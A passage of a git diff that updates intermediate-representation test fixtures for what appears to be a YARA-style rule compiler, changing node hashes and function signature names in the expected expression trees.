integer(unknown) } - 11: NE -- hash: 0x2475e24cefdb3f3e + 11: NE -- hash: 0x7948f7fe695eb29b 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 8 }, type_value: integer(unknown) } 10: CONST integer(1347092738) diff --git a/lib/src/compiler/ir/tests/testdata/10.no-folding.ir b/lib/src/compiler/ir/tests/testdata/10.no-folding.ir index aa638d5a7..3fa50077e 100644 --- a/lib/src/compiler/ir/tests/testdata/10.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/10.no-folding.ir @@ -1,5 +1,5 @@ RULE test - 13: FOR_IN -- hash: 0x12dbfc09ed5ac100 + 13: FOR_IN -- hash: 0x82a512b8d3920249 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,15 +7,15 @@ RULE test item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(10) - 12: WITH -- hash: 0xac40a564e67960e7 - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xdb7bdb9e18e2be98 - 5: ADD -- hash: 0x685e7a2ba5a36f1d - 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x7cb6e22690df7f1b + 12: WITH -- hash: 0x44df1392ee3101eb + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xa189dd082d8ed2b4 + 5: ADD -- hash: 0x488bc3291b41f205 + 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 4: CONST integer(16) - 8: FN_CALL uint32be@offset:i@i:R0:4294967295u -- hash: 0x954bbb64201a5bf8 + 8: FN_CALL uint32be@offset:i64@u32u -- hash: 0xe377691a11744a33 7: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: integer(unknown) } - 11: NE -- hash: 0xe0b33818592dcf55 + 11: NE -- hash: 0x7948f7fe695eb29b 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 8 }, type_value: integer(unknown) } 10: CONST integer(1347092738) diff --git a/lib/src/compiler/ir/tests/testdata/11.cse.ir b/lib/src/compiler/ir/tests/testdata/11.cse.ir index 123c18fb5..503369914 100644 --- a/lib/src/compiler/ir/tests/testdata/11.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/11.cse.ir @@ -1,79 +1,79 @@ RULE test_1 - 2: GT -- hash: 0xc4fc604b82c8a52b + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Excluded(0), end: Unbounded } RULE test_2 - 2: LT -- hash: 0x4da9ccb7dc8ad14 + 2: LT -- hash: 0x3b9860d859e0a12f 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Excluded(1000) } RULE test_3 - 6: AND -- hash: 0x4683df5ef9ed24cc - 2: GT -- hash: 0xc4fc604b82c8a52b + 6: AND -- hash: 0x4889a209920d68a0 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: LT -- hash: 0x4da9ccb7dc8ad14 + 5: LT -- hash: 0x3b9860d859e0a12f 3: FILESIZE 4: CONST integer(1000) FilesizeBounds { start: Excluded(0), end: Excluded(1000) } RULE test_4 - 9: AND -- hash: 0x1c68bc25618c80a0 - 2: GT -- hash: 0xc4fc604b82c8a52b + 9: AND -- hash: 0x4fdbecd595a20cd4 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) FilesizeBounds { start: Excluded(10), end: Excluded(1000) } RULE test_5 - 12: AND -- hash: 0x5be76b0c86be461c - 2: GT -- hash: 0xc4fc604b82c8a52b + 12: AND -- hash: 0x3c404f393687d3b3 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) - 11: LT -- hash: 0x87546aac269567bd + 11: LT -- hash: 0xbe122eb902ad5bd8 9: FILESIZE 10: CONST integer(10) FilesizeBounds { start: Excluded(10), end: Excluded(10) } RULE test_6 - 2: GE -- hash: 0x6ecb2097ca8fd671 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Included(0), end: Unbounded } RULE test_7 - 2: LE -- hash: 0xaea95d17c58fde59 + 2: LE -- hash: 0xe5672124a1a7d274 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Included(1000) } RULE test_8 - 6: AND -- hash: 0xbb98c4e671eec26d - 2: GE -- hash: 0x6ecb2097ca8fd671 + 6: AND -- hash: 0xbd9e87910a0f0641 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) - 5: LE -- hash: 0x31232af86e5c9903 + 5: LE -- hash: 0x67e0ef054a748d1e 3: FILESIZE 4: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/11.hoisting.ir b/lib/src/compiler/ir/tests/testdata/11.hoisting.ir index 123c18fb5..503369914 100644 --- a/lib/src/compiler/ir/tests/testdata/11.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/11.hoisting.ir @@ -1,79 +1,79 @@ RULE test_1 - 2: GT -- hash: 0xc4fc604b82c8a52b + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Excluded(0), end: Unbounded } RULE test_2 - 2: LT -- hash: 0x4da9ccb7dc8ad14 + 2: LT -- hash: 0x3b9860d859e0a12f 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Excluded(1000) } RULE test_3 - 6: AND -- hash: 0x4683df5ef9ed24cc - 2: GT -- hash: 0xc4fc604b82c8a52b + 6: AND -- hash: 0x4889a209920d68a0 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: LT -- hash: 0x4da9ccb7dc8ad14 + 5: LT -- hash: 0x3b9860d859e0a12f 3: FILESIZE 4: CONST integer(1000) FilesizeBounds { start: Excluded(0), end: Excluded(1000) } RULE test_4 - 9: AND -- hash: 0x1c68bc25618c80a0 - 2: GT -- hash: 0xc4fc604b82c8a52b + 9: AND -- hash: 0x4fdbecd595a20cd4 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) FilesizeBounds { start: Excluded(10), end: Excluded(1000) } RULE test_5 - 12: AND -- hash: 0x5be76b0c86be461c - 2: GT -- hash: 0xc4fc604b82c8a52b + 12: AND -- hash: 0x3c404f393687d3b3 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) - 11: LT -- hash: 0x87546aac269567bd + 11: LT -- hash: 0xbe122eb902ad5bd8 9: FILESIZE 10: CONST integer(10) FilesizeBounds { start: Excluded(10), end: Excluded(10) } RULE test_6 - 2: GE -- hash: 0x6ecb2097ca8fd671 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Included(0), end: Unbounded } RULE test_7 - 2: LE -- hash: 0xaea95d17c58fde59 + 2: LE -- hash: 0xe5672124a1a7d274 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Included(1000) } RULE test_8 - 6: AND -- hash: 0xbb98c4e671eec26d - 2: GE -- hash: 0x6ecb2097ca8fd671 + 6: AND -- hash: 0xbd9e87910a0f0641 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) - 5: LE -- hash: 0x31232af86e5c9903 + 5: LE -- hash: 0x67e0ef054a748d1e 3: FILESIZE 4: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/11.ir b/lib/src/compiler/ir/tests/testdata/11.ir index 123c18fb5..503369914 100644 --- a/lib/src/compiler/ir/tests/testdata/11.ir +++ b/lib/src/compiler/ir/tests/testdata/11.ir @@ -1,79 +1,79 @@ RULE test_1 - 2: GT -- hash: 0xc4fc604b82c8a52b + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Excluded(0), end: Unbounded } RULE test_2 - 2: LT -- hash: 0x4da9ccb7dc8ad14 + 2: LT -- hash: 0x3b9860d859e0a12f 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Excluded(1000) } RULE test_3 - 6: AND -- hash: 0x4683df5ef9ed24cc - 2: GT -- hash: 0xc4fc604b82c8a52b + 6: AND -- hash: 0x4889a209920d68a0 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: LT -- hash: 0x4da9ccb7dc8ad14 + 5: LT -- hash: 0x3b9860d859e0a12f 3: FILESIZE 4: CONST integer(1000) FilesizeBounds { start: Excluded(0), end: Excluded(1000) } RULE test_4 - 9: AND -- hash: 0x1c68bc25618c80a0 - 2: GT -- hash: 0xc4fc604b82c8a52b + 9: AND -- hash: 0x4fdbecd595a20cd4 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) FilesizeBounds { start: Excluded(10), end: Excluded(1000) } RULE test_5 - 12: AND -- hash: 0x5be76b0c86be461c - 2: GT -- hash: 0xc4fc604b82c8a52b + 12: AND -- hash: 0x3c404f393687d3b3 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) - 11: LT -- hash: 0x87546aac269567bd + 11: LT -- hash: 0xbe122eb902ad5bd8 9: FILESIZE 10: CONST integer(10) FilesizeBounds { start: Excluded(10), end: Excluded(10) } RULE test_6 - 2: GE -- hash: 0x6ecb2097ca8fd671 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Included(0), end: Unbounded } RULE test_7 - 2: LE -- hash: 0xaea95d17c58fde59 + 2: LE -- hash: 0xe5672124a1a7d274 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Included(1000) } RULE test_8 - 6: AND -- hash: 0xbb98c4e671eec26d - 2: GE -- hash: 0x6ecb2097ca8fd671 + 6: AND -- hash: 0xbd9e87910a0f0641 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) - 5: LE -- hash: 0x31232af86e5c9903 + 5: LE -- hash: 0x67e0ef054a748d1e 3: FILESIZE 4: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/11.no-folding.ir b/lib/src/compiler/ir/tests/testdata/11.no-folding.ir index 123c18fb5..503369914 100644 --- a/lib/src/compiler/ir/tests/testdata/11.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/11.no-folding.ir @@ -1,79 +1,79 @@ RULE test_1 - 2: GT -- hash: 0xc4fc604b82c8a52b + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Excluded(0), end: Unbounded } RULE test_2 - 2: LT -- hash: 0x4da9ccb7dc8ad14 + 2: LT -- hash: 0x3b9860d859e0a12f 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Excluded(1000) } RULE test_3 - 6: AND -- hash: 0x4683df5ef9ed24cc - 2: GT -- hash: 0xc4fc604b82c8a52b + 6: AND -- hash: 0x4889a209920d68a0 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: LT -- hash: 0x4da9ccb7dc8ad14 + 5: LT -- hash: 0x3b9860d859e0a12f 3: FILESIZE 4: CONST integer(1000) FilesizeBounds { start: Excluded(0), end: Excluded(1000) } RULE test_4 - 9: AND -- hash: 0x1c68bc25618c80a0 - 2: GT -- hash: 0xc4fc604b82c8a52b + 9: AND -- hash: 0x4fdbecd595a20cd4 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) FilesizeBounds { start: Excluded(10), end: Excluded(1000) } RULE test_5 - 12: AND -- hash: 0x5be76b0c86be461c - 2: GT -- hash: 0xc4fc604b82c8a52b + 12: AND -- hash: 0x3c404f393687d3b3 + 2: GT -- hash: 0xfbba24585ee09946 0: FILESIZE 1: CONST integer(0) - 5: GT -- hash: 0x5c3bcad248790060 + 5: GT -- hash: 0x92f98edf2490f47b 3: FILESIZE 4: CONST integer(10) - 8: LT -- hash: 0x4da9ccb7dc8ad14 + 8: LT -- hash: 0x3b9860d859e0a12f 6: FILESIZE 7: CONST integer(1000) - 11: LT -- hash: 0x87546aac269567bd + 11: LT -- hash: 0xbe122eb902ad5bd8 9: FILESIZE 10: CONST integer(10) FilesizeBounds { start: Excluded(10), end: Excluded(10) } RULE test_6 - 2: GE -- hash: 0x6ecb2097ca8fd671 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) FilesizeBounds { start: Included(0), end: Unbounded } RULE test_7 - 2: LE -- hash: 0xaea95d17c58fde59 + 2: LE -- hash: 0xe5672124a1a7d274 0: FILESIZE 1: CONST integer(1000) FilesizeBounds { start: Unbounded, end: Included(1000) } RULE test_8 - 6: AND -- hash: 0xbb98c4e671eec26d - 2: GE -- hash: 0x6ecb2097ca8fd671 + 6: AND -- hash: 0xbd9e87910a0f0641 + 2: GE -- hash: 0xa588e4a4a6a7ca8c 0: FILESIZE 1: CONST integer(0) - 5: LE -- hash: 0x31232af86e5c9903 + 5: LE -- hash: 0x67e0ef054a748d1e 3: FILESIZE 4: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/12.cse.ir b/lib/src/compiler/ir/tests/testdata/12.cse.ir index bdb7e7536..604edddc4 100644 --- a/lib/src/compiler/ir/tests/testdata/12.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/12.cse.ir @@ -1,39 +1,39 @@ RULE test - 54: FOR_IN -- hash: 0xb3907652e47beb80 + 54: FOR_IN -- hash: 0x6d45cb32d9ea9eb3 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: array, index: 4 } - 2: FIELD_ACCESS -- hash: 0xab4f8283c0e53bfa + 2: FIELD_ACCESS -- hash: 0xcf987f52a1e0bd55 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 56, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 53: AND -- hash: 0x4d8c6ca7f7b038e9 - 12: FOR_OF -- hash: 0x2f22787ddf2a05e8 + 53: AND -- hash: 0x42900a3aeb083b92 + 12: FOR_OF -- hash: 0x9a5b11d83b5b64b4 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } count: Var { frame_id: 2, ty: integer, index: 10 } item: Var { frame_id: 2, ty: integer, index: 11 } - 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } IN -- hash: 0xe11c4fde46b8d594 - 5: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } IN -- hash: 0x1dcb5a9100c2e480 + 5: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 3: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 4: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 10: ADD -- hash: 0xe49ed0540b890623 - 8: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 10: ADD -- hash: 0x2bffe834c6cc14b8 + 8: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 6: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 7: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(512) - 52: FOR_IN -- hash: 0x603a22daabc68 + 52: FOR_IN -- hash: 0x5906d56554c5c501 n: Var { frame_id: 3, ty: integer, index: 7 } i: Var { frame_id: 3, ty: integer, index: 8 } max_count: Var { frame_id: 3, ty: integer, index: 9 } count: Var { frame_id: 3, ty: integer, index: 10 } item: Var { frame_id: 3, ty: array, index: 11 } - 15: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 15: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 14: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 51: FOR_IN -- hash: 0x9a65469129227a90 + 51: FOR_IN -- hash: 0xc1838b47516a4956 n: Var { frame_id: 4, ty: integer, index: 14 } i: Var { frame_id: 4, ty: integer, index: 15 } max_count: Var { frame_id: 4, ty: integer, index: 16 } @@ -42,34 +42,34 @@ RULE test 16: CONST integer(100) 17: CONST integer(0) 18: CONST integer(4096) - 50: AND -- hash: 0x1b1a568f17bcf825 - 32: GE -- hash: 0xcf54ff2b85c632e4 - 24: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x16ed736c1a4b50dd - 23: ADD -- hash: 0x4ff11ce819e3968 - 21: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 50: AND -- hash: 0x2f221797a9f13d87 + 32: GE -- hash: 0x64476e73b1489159 + 24: FN_CALL uint32@offset:i64@u32u -- hash: 0x9cbcfce6454b5931 + 23: ADD -- hash: 0xefb9fcd880da574d + 21: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 19: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 20: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 22: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 19 }, type_value: integer(unknown) } - 31: ADD -- hash: 0x6a69741994d76af9 - 27: FIELD_ACCESS -- hash: 0xe05931a42eb94c5e + 31: ADD -- hash: 0x4f3f374355f945b5 + 27: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 30: FIELD_ACCESS -- hash: 0x7869638c32afd7cb + 30: FIELD_ACCESS -- hash: 0x82a8542e104fc9d1 28: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 12 }, type_value: struct } 29: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 49: LT -- hash: 0xc658c8b2d714ed97 - 38: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x16ed736c1a4b50dd - 37: ADD -- hash: 0x4ff11ce819e3968 - 35: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 49: LT -- hash: 0x2fc79bcacd84509c + 38: FN_CALL uint32@offset:i64@u32u -- hash: 0x9cbcfce6454b5931 + 37: ADD -- hash: 0xefb9fcd880da574d + 35: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 33: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 34: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 36: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 19 }, type_value: integer(unknown) } - 48: BITWISE_AND -- hash: 0x6d24fb1623e66cd1 - 45: ADD -- hash: 0x6a69741994d76af9 - 41: FIELD_ACCESS -- hash: 0xe05931a42eb94c5e + 48: BITWISE_AND -- hash: 0x219a0b50be8ec776 + 45: ADD -- hash: 0x4f3f374355f945b5 + 41: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 39: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 40: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 44: FIELD_ACCESS -- hash: 0x7869638c32afd7cb + 44: FIELD_ACCESS -- hash: 0x82a8542e104fc9d1 42: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 12 }, type_value: struct } 43: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 47: CONST integer(-4096) diff --git a/lib/src/compiler/ir/tests/testdata/12.hoisting.ir b/lib/src/compiler/ir/tests/testdata/12.hoisting.ir index cec138167..352e91976 100644 --- a/lib/src/compiler/ir/tests/testdata/12.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/12.hoisting.ir @@ -1,71 +1,71 @@ RULE test - 56: WITH -- hash: 0x6ce2515b14666db7 - 55: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 56: WITH -- hash: 0x19ba02cb1bd24207 + 55: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 14: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 60: WITH -- hash: 0xc0dbc481fbb439ce - 59: FIELD_ACCESS -- hash: 0xe05931a42eb94c5e + 60: WITH -- hash: 0x1a1ffcdbfeb6fbf8 + 59: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 66: WITH -- hash: 0x57d3ee6af7060425 - 65: FIELD_ACCESS -- hash: 0xe05931a42eb94c5e + 66: WITH -- hash: 0x764daa7efb6a0519 + 65: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 39: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 40: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 54: FOR_IN -- hash: 0xc20ef45cd3ce8ade + 54: FOR_IN -- hash: 0x5523e37ad7237a90 n: Var { frame_id: 1, ty: integer, index: 3 } i: Var { frame_id: 1, ty: integer, index: 4 } max_count: Var { frame_id: 1, ty: integer, index: 5 } count: Var { frame_id: 1, ty: integer, index: 6 } item: Var { frame_id: 1, ty: array, index: 7 } - 2: FIELD_ACCESS -- hash: 0xab4f8283c0e53bfa + 2: FIELD_ACCESS -- hash: 0xcf987f52a1e0bd55 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 56, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 53: AND -- hash: 0x6e529af6e2ef3ad4 - 12: FOR_OF -- hash: 0x2dd63934422c5a6a + 53: AND -- hash: 0x4d66dbb7e578f1b7 + 12: FOR_OF -- hash: 0x990ed28e9e5db936 n: Var { frame_id: 2, ty: integer, index: 10 } i: Var { frame_id: 2, ty: integer, index: 11 } max_count: Var { frame_id: 2, ty: integer, index: 12 } count: Var { frame_id: 2, ty: integer, index: 13 } item: Var { frame_id: 2, ty: integer, index: 14 } - 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 14 }, type_value: integer(unknown) } IN -- hash: 0xdfd01094a9bb2a16 - 5: FIELD_ACCESS -- hash: 0x12d1cab4b33a7120 + 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 14 }, type_value: integer(unknown) } IN -- hash: 0x1c7f1b4767c53902 + 5: FIELD_ACCESS -- hash: 0x1d10bb5690da6326 3: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 8 }, type_value: struct } 4: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 10: ADD -- hash: 0xafe6cef1c79155dc - 8: FIELD_ACCESS -- hash: 0x12d1cab4b33a7120 + 10: ADD -- hash: 0xf747e6d282d46470 + 8: FIELD_ACCESS -- hash: 0x1d10bb5690da6326 6: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 8 }, type_value: struct } 7: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(512) - 58: WITH -- hash: 0xd604f50e65135da4 - 57: FIELD_ACCESS -- hash: 0x12d1cab4b33a7120 + 58: WITH -- hash: 0x722f00cbdebe46ae + 57: FIELD_ACCESS -- hash: 0x1d10bb5690da6326 19: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 8 }, type_value: struct } 20: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 64: WITH -- hash: 0xe0380f4b6ca7b7fb - 63: FIELD_ACCESS -- hash: 0x12d1cab4b33a7120 + 64: WITH -- hash: 0x8d33e73f653a7d26 + 63: FIELD_ACCESS -- hash: 0x1d10bb5690da6326 33: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 8 }, type_value: struct } 34: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 52: FOR_IN -- hash: 0xe17e0a7e154aa4c3 + 52: FOR_IN -- hash: 0xa1729eba8c6af498 n: Var { frame_id: 3, ty: integer, index: 12 } i: Var { frame_id: 3, ty: integer, index: 13 } max_count: Var { frame_id: 3, ty: integer, index: 14 } count: Var { frame_id: 3, ty: integer, index: 15 } item: Var { frame_id: 3, ty: array, index: 16 } 15: SYMBOL Var { var: Var { frame_id: 0, ty: array, index: 0 }, type_value: array } - 62: WITH -- hash: 0x4bc0dda75686a6e - 61: ADD -- hash: 0x119636de791cfc7e + 62: WITH -- hash: 0x8423fb1b2fc2b05a + 61: ADD -- hash: 0x9fa3a239fbf5af84 27: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 1 }, type_value: integer(unknown) } - 30: FIELD_ACCESS -- hash: 0x1540e1df573bad83 + 30: FIELD_ACCESS -- hash: 0x1f7fd28134db9f89 28: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 17 }, type_value: struct } 29: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 68: WITH -- hash: 0xc75581eeb74c42d9 - 67: BITWISE_AND -- hash: 0xf5276d60faa76a34 - 45: ADD -- hash: 0x47f8fe9eef15f1eb + 68: WITH -- hash: 0x680a65f64cad5279 + 67: BITWISE_AND -- hash: 0x8b424a5154e9223e + 45: ADD -- hash: 0xd60669fa6deea4f1 41: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 2 }, type_value: integer(unknown) } - 44: FIELD_ACCESS -- hash: 0x1540e1df573bad83 + 44: FIELD_ACCESS -- hash: 0x1f7fd28134db9f89 42: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 17 }, type_value: struct } 43: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 47: CONST integer(-4096) - 51: FOR_IN -- hash: 0x8ba19c29d61ba8c7 + 51: FOR_IN -- hash: 0x75c4ac44721f880f n: Var { frame_id: 4, ty: integer, index: 21 } i: Var { frame_id: 4, ty: integer, index: 22 } max_count: Var { frame_id: 4, ty: integer, index: 23 } @@ -74,16 +74,16 @@ RULE test 16: CONST integer(100) 17: CONST integer(0) 18: CONST integer(4096) - 50: AND -- hash: 0xdcb7f38210df8cab - 32: GE -- hash: 0x8ad0c9646eead213 - 24: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xfbcc1372c30b0fd1 - 23: ADD -- hash: 0x1b21a42a89d09db6 + 50: AND -- hash: 0x1e94aeb768108ac9 + 32: GE -- hash: 0x5a1f6dfbf8bac18e + 24: FN_CALL uint32@offset:i64@u32u -- hash: 0x367057447fa962c8 + 23: ADD -- hash: 0xcb8d2f984aa3e1c1 21: SYMBOL Var { var: Var { frame_id: 